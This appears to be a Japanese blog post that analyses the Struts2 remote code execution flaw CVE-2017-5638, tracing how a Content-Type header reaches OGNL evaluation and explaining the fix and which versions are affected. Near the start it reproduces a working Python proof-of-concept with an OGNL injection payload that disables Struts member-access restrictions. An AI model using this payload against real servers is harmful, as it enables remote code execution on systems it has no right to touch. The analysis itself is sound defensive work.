この日記は私的なものであり所属会社の見解とは無関係です。 GitHub: takahashikzn

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した

またOGNL絡みの脆弱性が見つかりました。 アウトラインはid:Kango氏がまとめているこちらが参考になります。

http://d.hatena.ne.jp/Kango/20170307/1488907259


さて、この脆弱性の動作原理を調べてみました。

ファイルアップロード時のヘッダの処理方式に問題があるようです。 前述のURLで述べられているPoCはこんな感じ。

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    print r.content
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。マジかよ…orz

ここでは問題を簡単にするために、ヘッダの中身をこうします。単にIntegerのコンストラクタを呼んでいるだけ。

Content-Type: %{(#test='multipart/form-data').(new java.lang.Integer(42))}

こんなコードであろうとも、自由に任意のコードを実行できる時点でアウトです。

なお、

(#test='multipart/form-data')

の部分は、commons-fileuploadを騙しつつ正しいOGNL式にするための小細工のようです。

実装を見てみる

結論から言うと、ファイルアップロード時にContent-Typeヘッダのパースに失敗した際、 エラーメッセージの構築でcom.opensymphony.xwork2.util.LocalizedTextUtil.findTextを使用していることが原因です。


まず、Content-Typeを偽装したリクエストを送ると、commons-fileupload側でパースエラーとなります。その際、このようなエラーメッセージを生成します。

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data').(new java.lang.Integer(42))}

commons-fileuploadはStruts2の事情なんぞ知ったこっちゃないので、ヘッダの中身をそのままエラーメッセージに入れ込みます。


次に、Struts2側ではこのエラーメッセージを、ローカライズされた別のテンプレートに流し込んで整形しようとします。その時にLocalizedTextUtil.findTextを使用します。

(org.apache.struts2.interceptor.FileUploadInterceptorの264行目)

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (LocalizedMessage error : multiWrapper.getErrors()) {
        if (validation != null) {
            // ↓264行目
            validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
        }
    }
}

そして、LocalizedTextUtil.findTextは内部でTextParseUtil.translateVariablesを呼び出しています。

(LocalizedTextUtilの729行目)

// defaultMessage may be null
if (message != null) {
    // ↓729行目
    MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

    String msg = formatWithNullDetection(mf, args);
    result = new GetDefaultMessageReturnArg(msg, found);
}

このメソッドは、文字列中のOGNL式を逐一解釈して値に入れ替えるという一種のテンプレートエンジン的な機能を果たします。

つまり、先程の

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data').(new java.lang.Integer(42))}

がここまで引き渡されてきた結果、

%{(#test='multipart/form-data').(new java.lang.Integer(42))}

の部分がOGNL式として解釈されてしまうわけです。

対応策

この脆弱性に対応したstruts-2.5.10.1がリリースされています。これに置き換えるのがベスト。

http://cwiki.apache.org/confluence/display/WW/S2-045

修正内容はこちら。

http://github.com/apache/struts/compare/STRUTS_2_5_10_1…master

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors() && validation != null) {
    TextProvider textProvider = getTextProvider(action);
    for (LocalizedMessage error : multiWrapper.getErrors()) {
        String errorMessage;
        if (textProvider.hasKey(error.getTextKey())) {
            errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
        } else {
            errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
        }
        validation.addActionError(errorMessage);
    }
}

見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。

【2017-03-12追記その1】

http://boscono.hatenablog.com/entry/2017/03/12/083946

こちらで言及されている通りですがこれは誤りでした。

ちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。

ここで使用されるtextProviderの実装はcom.opensymphony.xwork2.TextProviderSupportであり(デフォルト設定の場合)、この中でLocalizedTextUtilは使用されていますがTextParseUtilに改ざんされた方の文字列を渡していないので水際のところでセーフ、というのが正確なところです。際どい修正だなこれ…


次善の策として、マルチパートリクエストのパーサーを入れ替えるという方法もあるようですがオススメしません。

既に述べた通り、パーサーが吐くエラーメッセージにContent-Typeヘッダの中身がそのまま入るようだと、結果として何も変わらないからです。 パーサーを入れ替えるなら、そのパーサーが安全であることを別途検証することを推奨します。

追記

ここまで書いて気が付いたのですが、すでに同様の解析を行った方がいました。

http://blog.csdn.net/u011721501/article/details/60768657 http://paper.seebug.org/241/


2017-03-12追記その2

私は仕事柄、Struts2の実装にソースコードレベルで詳しい(と自負している)ので、困っている方がいらっしゃったらコメント欄で連絡下さい。何かお手伝いできると思います。

コメントは公開しませんのでご安心を。

(2016-03-16 変更)公益性の観点から、個人・案件を特定できない範囲で公開することがあります。

(ちょっと間違ってたくせに何を偉そうな、と言われたら返す言葉はありませんけど)


2016-03-16追記

幾つか質問を頂いたので回答します。

「コメントは公開しません」と書きましたが、公開しても問題無いと思われる内容であれば、公益性の観点から公開することにしました。

回答はしますが、最終判断は自己責任でお願いします。

質問1

1点、PoCコードの「.」について教えていただきたくご連絡さしあげました。

(#test='multipart/form-data').(#dm=@ognl.Ognlxxxx

というOGNL部分なのですが、OGNLにおける「.」はクラスの階層構造を表す以外にも使い方があるのでしょうか?もしくはこのPoCも階層構造なのでしょうか?

#私はclass.classLoader.xxxxという階層構造の表現に使えることしか知りません。

並んでいるメソッドから何をしようとしているかの把握はできているつもりですが、PoCコードの解釈のされ方がどうしても分かりません。OGNLについて書いてある記事も英語も含めてもあまり無く。。

これは、SubExpressionという構文です。OGNLのリファレンスマニュアルを一部訳すと次の通りです。

If you use a parenthetical expression after a dot, the object that is current at the dot is used as the current object throughout the parenthetical expression.

For example,

headline.parent.(ensureLoaded(), name)

traverses through the headline and parent properties, ensures that the parent is loaded and then returns (or sets) the parent’s name. Top-level expressions can also be chained in this way. The result of the expression is the right-most expression element.

ensureLoaded(), name

This will call ensureLoaded() on the root object, then get the name property of the root object as the result of the expression.

 

括弧で囲まれた式がドットのあとに続く場合、ドットのターゲットオブジェクトがカレントオブジェクトとしてカッコ内の式で使用される。 例えば、

headline.parent.(ensureLoaded(), name)

はheadlineのparentへアクセスし、parentがensureLoadedであることを保証した上でparentのnameを返すという意味になる。 トップレベルの式はこのやり方でチェーンでき、評価結果は括弧の一番右の式の値である。

ensureLoaded(), name

はルートオブジェクトのensureLoaded()を実行し、そしてnameプロパティを取得してそれを式全体の評価結果として扱う。

…とまあこんな感じです。 ちなみに左辺のオブジェクトは無視してOK。カッコ内には任意の式を入れられます。よって例のPoCは

%{(#test='multipart/form-data').(new java.lang.Integer(42))}

から左辺の代入を消して

%{('multipart/form-data').(new java.lang.Integer(42))}

と簡略化できることになります。


質問2

現在ある本番システムでStruts2.2.3を利用しているのですが、本件への影響をロジカルに説明する必要があり調査しております。

そもそも2.2.3は影響範囲に入っていないのですが、本当に大丈夫なのかを処理フローやソースレベルでDeepDiveしております。 なぜ2.2.3(もしくは2.3.4までは大丈夫)は対象に入らないのか何かヒントになるような情報があればご教示いただきたく。

struts-2.2.3における、今回問題になったFileUploadInterceptorの実装の箇所は次の通りです。

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (String error : multiWrapper.getErrors()) {
        if (validation != null) {
            validation.addActionError(error);
        }

        LOG.warn(error);
    }
}

見ての通り、このバージョンではcommons-fileuploadが出力したエラーメッセージを単なる文字列として扱っており、LocalizedTextUtilは使用していません。

そのため、この範囲では件の脆弱性は存在しません。


ソースの履歴を追ってみると、このマージで脆弱性が入りこんだようです。

http://github.com/apache/struts/pull/113

このプルリクがマージされた日付は2016-11-08なので、このコードが適用されているStruts2のバージョンは2.5.8~および2.3.31のはずです。

従って、影響があると公式アナウンスされている

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

というのは間違っているように見えますが…いずれにせよ、質問いただいている「2.2.3」は問題無いバージョンと思われます。


上記は完全に誤りでした。見なかったことにして下さい…


さて、結論から言うとこのコミットが脆弱性を入れ込むことになった原因と思われます。

http://github.com/apache/struts/commit/5d68b267b5d089c8ce22e044edc7aaf532d93f02#diff-6f33d08fb91d5c321d4666523e58ae9b

この時点のStruts2は、FileUploadInterceptor内でエラーメッセージを組み立てるのではなく、JakartaMultiPartRequest内でそれを行っていました。

ソースのdiffを見ればわかりますが、上記のコミット以後にLocalizedTextUtilを使うようになったので問題があります。

また、このコミットはstruts-2.3.5から取り込まれているので、公式発表は正しいようです。


質問にあった「なぜ2.2.3(もしくは2.3.4までは大丈夫)は対象に入らないのか」ですが、

「2.2.3の時点では、FileUploadInterceptor内とJakartaMultiPartRequest内のどちらもLocalizedTextUtilを使っておらず、それ以外の箇所でもエラーメッセージをLocalizedTextUtilに渡していないのでセーフ」

が回答になると思います。該当するコードの箇所は以下の通りです。

struts-2.2.3のJakartaMultiPartRequestの抜粋:例外のメッセージを単に文字列としてListに詰めているだけ】

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        processUpload(request, saveDir);
    } catch (FileUploadException e) {
        LOG.warn("Unable to parse request", e);
        errors.add(e.getMessage());
    }
}

struts-2.2.3のFileUploadInterceptorの抜粋:エラーメッセージを単に文字列として扱っている】

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (String error : multiWrapper.getErrors()) {
        if (validation != null) {
            validation.addActionError(error);
        }

        LOG.warn(error);
    }
}

struts-2.3.5のJakartaMultiPartRequestの抜粋:例外のメッセージをLocalizedTextUtilに渡しているのでアウト

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (FileUploadBase.SizeLimitExceededException e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Request exceeded size limit!", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    } catch (Exception e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Unable to parse request", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    }
}

...

protected String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled()) {
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    }
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}